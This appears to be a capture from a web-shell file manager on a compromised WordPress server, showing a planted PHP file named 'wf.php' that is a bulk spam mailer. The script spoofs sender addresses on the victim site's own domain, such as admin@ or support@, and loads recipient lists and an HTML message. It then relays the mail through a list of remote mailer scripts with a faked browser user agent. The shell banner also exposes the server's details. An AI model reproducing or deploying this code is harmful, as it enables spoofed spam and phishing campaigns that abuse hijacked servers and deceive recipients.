HEX
Server: Apache/2.4.53 (Debian)
System: Linux 81f031f4d056 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64
User: www-data (33)
PHP: 7.4.29
Disabled: NONE
Upload Files
File: /var/www/html/wp-content/wf.php
<?php
/*
 * MailerBulk - With Default Email Fallback
 */

error_reporting(0);
set_time_limit(0);

// Load config with default email
$sendername = "Company Support";
$subject = "Important Message";
$default_email = "support@company.com"; // Default email

if(file_exists('config.txt')) {
    $lines = file('config.txt', FILE_IGNORE_NEW_LINES);
    foreach($lines as $line) {
        if(strpos($line, 'sendername=') === 0) $sendername = substr($line, 11);
        if(strpos($line, 'subject=') === 0) $subject = substr($line, 8);
        if(strpos($line, 'default_email=') === 0) $default_email = substr($line, 14);
    }
}

// Get sender email with fallback
function getSenderEmail($default_email) {
    // Try to get from current domain
    if(isset($_SERVER['HTTP_HOST']) && !empty($_SERVER['HTTP_HOST'])) {
        $domain = $_SERVER['HTTP_HOST'];
        if(strpos($domain, '.') !== false) {
            $users = ['support', 'info', 'admin', 'contact'];
            $user = $users[array_rand($users)];
            return $user . '@' . $domain;
        }
    }
    
    // Use default email if domain detection fails
    return $default_email;
}

// Load lettre
$lettre = file_exists('lettre.html') ? file_get_contents('lettre.html') : "Default message";

if($_POST['action'] == 'send') {
    $emails = file('email.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $mailers = file('mailer.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    
    $sender_email = getSenderEmail($default_email);
    
    echo "🚀 STARTING BULK SEND\n";
    echo "📧 From: $sendername <$sender_email>\n";
    echo "📨 Emails: " . count($emails) . "\n";
    echo "🔧 Mailers: " . count($mailers) . "\n";
    echo "💾 Default Email: $default_email\n\n";
    
    $sent_count = 0;
    
    foreach($mailers as $mailer) {
        $mailer = trim($mailer);
        if(empty($mailer)) continue;
        
        echo "📤 Using: $mailer\n";
        
        $email_list = implode("\n", $emails);
        
        $post_data = array(
            'from' => $sender_email,
            'realname' => $sendername,
            'subject' => $subject,
            'message' => $lettre,
            'emaillist' => $email_list,
            'action' => 'send',
            'contenttype' => 'html'
        );
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $mailer,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($post_data),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 30,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ]);
        
        $result = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if($http_code == 200) {
            echo "✅ Sent " . count($emails) . " emails\n";
            $sent_count += count($emails);
        } else {
            echo "❌ Failed (HTTP $http_code)\n";
        }
        echo "---\n";
        
        sleep(2); // Pause between mailers
    }
    
    echo "🎯 TOTAL SENT: $sent_count emails\n";
    exit;
}
?>
<html>
<body style="font-family: Arial; margin: 20px;">
    <h1>📧 MailerBulk</h1>
    <div style="background: #e0f7fa; padding: 15px; border-radius: 5px; margin: 15px 0;">
        <strong>Configuration:</strong><br>
        Sender: <?php echo $sendername; ?><br>
        Email: <?php echo getSenderEmail($default_email); ?><br>
        Default: <?php echo $default_email; ?><br>
        Subject: <?php echo $subject; ?>
    </div>
    <form method="post">
        <input type="hidden" name="action" value="send">
        <button type="submit" style="background: #2196F3; color: white; padding: 15px 30px; border: none; border-radius: 5px; font-size: 16px; cursor: pointer;">
            🚀 START BULK SEND
        </button>
    </form>
</body>
</html>